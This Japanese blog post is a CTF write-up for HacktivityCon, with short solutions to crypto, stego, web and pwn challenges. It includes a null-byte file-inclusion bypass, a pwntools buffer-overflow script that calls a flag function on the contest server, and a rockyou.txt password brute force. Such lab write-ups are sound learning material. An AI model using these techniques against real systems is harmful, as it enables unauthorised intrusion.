ACCE55_DE21ED

競プロとCTF

HacktivityCon CTF 参加記 , Writeup

CTFの問題は割と解いた事があったのですが、CTFのコンテスト自体に参加するのは始めてでした。

全体として1310点、1974人中201位で割と良かったのかなと思います。

f:id:defineprogram:20200801101543p:plain

ですが、Web系の知識の欠如が深刻な事に気づきました。Web、範囲が広すぎてどこから手を出せばいいのか...

CTFやると競プロが手につかなくなり、競プロやるとCTFが手につかなくなる、これどうすりゃいいの!!

???「あれ、学業はどうしたんですか?」

Web

600人以上解いてるLadybugが解けませんでした。チクショー!

結局ACは1問だけです。

Bite

?page=hoge で読み込んでいるので、hogeの部分にflagを入れたら出てくるかなーと思ったらヒントが出てきました。

f:id:defineprogram:20200731203721p:plain

しかし、page=/flag.txt と入れると最後に.phpが付けられてしまいます。

f:id:defineprogram:20200731203834p:plain

そこで、null byteを表す %00 をURLの最後につけてやると、FLAGが表示されました。

かなり有名なテクニックですね。

Crypto

Pythonのいい勉強になりました。

Tyrannosaurus

配布されたファイルの中身

#!/usr/bin/env python

import base64
import binascii

h = binascii.hexlify
b = base64.b64encode

c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067'


def enc(f):
    e = b(f)
    z = []
    i = 0
    while i < len(e):
        z += [e[i] ^ e[((i + 1) % len(e))]]
        i = i + 1
    c = h(bytearray(z))
    return c

cというのは、enc(c)をした後の値でしょう。

XORがぐるぐる回っているので、1文字目を全部調べればどれかは正解です。

月刊競技プログラミングは役に立つ

そこで、以下のようなコードを書くとflagが出力されました。

#!/usr/bin/env python

import base64
import binascii

h = binascii.hexlify
b = base64.b64encode

c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067'

g = binascii.unhexlify
bb = base64.b64decode


def dec(f):
    f = g(f)
    print(f)
    for i in range(0x100):
        ans = ""
        ans += chr(i)
        now = i
        for j in range(len(f)-1):
            memo=int(f[j:j+1].hex(),16)
            ans+=chr(now^memo)
            now^=memo
        try:
            flag=bb(ans)
            if b"flag" in flag:
                print(flag)
        except:
            pass


dec(c)

Perfect XOR

配布されたファイル

import base64
n = 1
i = 0
cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy"

def a(n):
    b = 0
    for i in range(1, n):
        if(n % i == 0):
            b += i
    return b == n

print("flag{", end='', flush=True)
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(i < len(cipher)):
    if (a(n)):
        print(chr(int(cipher[i]) ^ n), end='', flush=True)
        i += 1
    n+=1

print("}")

コードを読むと、どうやら完全数の時だけ出力しているようですね。完全数は非常に大きいので、この調子ではいつまで経っても終わりません。

cipherの長さが14とかなので、完全数でググって出てきたのを貼るとFLAGが出力されました。

import base64
cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy"

    
perfect=[
6,
28,
496,
8128,
33550336,
8589869056,
137438691328,
2305843008139952128,
2658455991569831744654692615953842176,
191561942608236107294793378084303638130997321548169216,
13164036458569648337239753460458722910223472318386943117783728128,
14474011154664524427946373126085988481573677491474835889066354349131199152128,
23562723457267347065789548996709904988477547858392600710143027597506337283178622239730365539602600561360255566462503270175052892578043215543382498428777152427010394496918664028644534128033831439790236838624033171435922356643219703101720713163527487298747400647801939587165936401087419375649057918549492160555646976,
141053783706712069063207958086063189881486743514715667838838675999954867742652380114104193329037690251561950568709829327164087724366370087116731268159313652487450652439805877296207297446723295166658228846926807786652870188920867879451478364569313922060370695064736073572378695176473055266826253284886383715072974324463835300053138429460296575143368065570759537328128
]

print("flag{", end='', flush=True)
cipher = base64.b64decode(cipher_b64).decode().split(",")
for i in range(len(cipher)):
    if True:
        print(chr(int(cipher[i]) ^ perfect[i]), end='', flush=True)
        i += 1

print("}")

こっちの方が簡単な気がします。

Binary Exploitation

割と得意分野なのに、1問しか解けなくて悲しい...

Pancakes

BOFがありました。secret_recipeっていうFLAGを出力する関数があったので、これを呼びます。

やるだけ

from pwn import *
#p=process("./pancakes")
p=remote("jh2i.com",50021)
elf=ELF("./pancakes")
payload=b"A"*152
payload+=p64(elf.symbols['secret_recipe'])
p.sendline(payload)
print(p.recvall())

Steganography

色々ググりながらやっていく内に、解ける問題が増えました。

Spy vs. Spy

stegsolveをダウンロードして、ファイルを解析すると解けます。

stegsolveの存在を知らず、だいぶ悩んでいました。

Chess Cheater

自分の耳で解析するのは中々無理があるので、ツールに頼りましょう。

モールス信号を音からデコードしてくれるやつ に投げます。解けます。おしまい!

Busted

画像ファイルのExifを解析すると、ctrl+alt+e とコメントしてありました。そこで、steghideのextract時のパスフレーズctrl+alt+eを入れると、flag.txtが展開されました。個人的に好きな問題です。

Scripting

1問目のMisdirectionが解けなかったのがかなり悔しいですね...

やはりWeb系が壊滅的です。

Prophecy

接続すると、数を当てろと言われるので乱数かと思ったら固定値でした。

そのため、1つずつ数を確定していけばいいのですが、手作業だときつそうのでスクリプトを書きました。(Scriptingだしね!)

from pwn import *

lst=[]
while True:
    print(lst)
    p=remote("jh2i.com",50012)
    for i in range(len(lst)):
        p.sendlineafter(b"W H A T I S T H E N E X T N U M B E R T O C O M E F R O M T H E F U T U R E ?",str(lst[i]));
    p.sendline(b"1000000000000000000000000000")
    try:
        p.recvuntil(b"T H E C O R R E C T N U M B E R W A S ")
        lst.append(int(p.recvline().decode('utf-8')))
    except :
        print(p.recvall())
        break

答えの数列の長さは20でした。まぁ、手作業でもできないことはないか。

Tootsie Pop

Zipファイルが与えられるのですが、いくら展開してもファイルがあります。

gzip,xz,bunzip2,zipで適当な順番で途方もない回数で圧縮されているようでした。

しばらく手作業でやった後、ファイルのサイズが一向に減らない事に気づきスクリプトを書きましたが、時々止まるのでその度に手作業でちょっと直すというクソスクリプトなので載せるのはやめておきます。

Misc

Cat Cage

grepが出せないなーと思ったら、/bin/grep で行けました。

また、

/bin/grep -r flag ./*

だとダメだったのに

/bin/grep -r flag{ ./*

だとFLAGが出力されました。なんでだろ?

His Story

なんか解いてたんですが、解法が思い出せません...

/bin/cat flag.txt

で解けて驚いたとかの記憶があったようななかったような...

さっき見たらスラッシュが入れられなくなっていました。解いた時はそうじゃなかったような気が??

勘違いかもです。不正疑惑

Forensics

あんまりまともに解けませんでした。SteganoってForensicsに含まれないんですかね?

Opposable Thumbs

foremostにかけると、flagの表示された画像が中に入っていた事が分かります。終わり

Warmups

Read The Rules

ルールのHTMLの下の方に、flagがコメントされていました。

Caesar Mirror

シーザー暗号/ROT13です。有名ですね。

Common Place

"I found it"と言っていた rfc5785ググると、(hoge)/.well_known を調べるみたいな事が書かれてたので適当に入れたら本当にありました。

そこにディレクトリ一覧があり、flag.txtもそこにありました。

Internet Cattos

一見するとflagが見えませんが、

nc jh2i.com 50003 > nc.txt

とすると、中にflagが書かれていました。

多分バッファの位置を改行する度に上に持っていってるとかですよね。

Hexgedit

写真のHexの中に flag{が含まれているに違いないので、flag{を16進数に変換した

66 6c 61 67 7b

を探すと、ファイルの末尾にありました。

Private Investigator

RSA秘密鍵が渡されるので、それを使って問題文に書いてある通りに接続すれば良いです。

chmod 777 *

とかやると、権限不備で弾かれるので注意。

Vencryption

fileコマンドで調べると、Vim encrypted file data と書かれていたのでググると、

VimDecrypt というツールが見つかるのでダウンロードします。

rockyou.txt というパスワードの候補を使って総当りするとパスワードは computerである事が分かるので、上のツールでdecryptするとflagが表示されました。

作者さん、ありがとう!!!

コンテスト後に理解した問題集

Mobile one

これ、stringsだけで解けたっぽい。apkをdex2jarで解析してた時間を返してくれ...

基本を忘れた報いですね。

Ladybug

なんか存在しないページ出すとAssertion Errorが起きるのは分かっていたんですが、まさかそこからコマンドが開けるとは思いませんでした。

f=open("flag.txt")
print(f.read())

Pseudo

/etc/sudoers.d に機密情報が入ってるよーという話でした。

なるほどなぁ

Spaghetti

binwalkする所までは分かっていたんですが、zlib をどうするかが分かりませんでした。展開してもほぼ情報もないし...

Online File Viewer にかけると解けるっぽいです。よく分からないけど解けたからヨシ(??)

ポエム

コンテストの復習はして、後は再来週のAPIOに備えようと思います。

マジで最近競プロやらなさすぎなので。。。

では、Happy Hacking!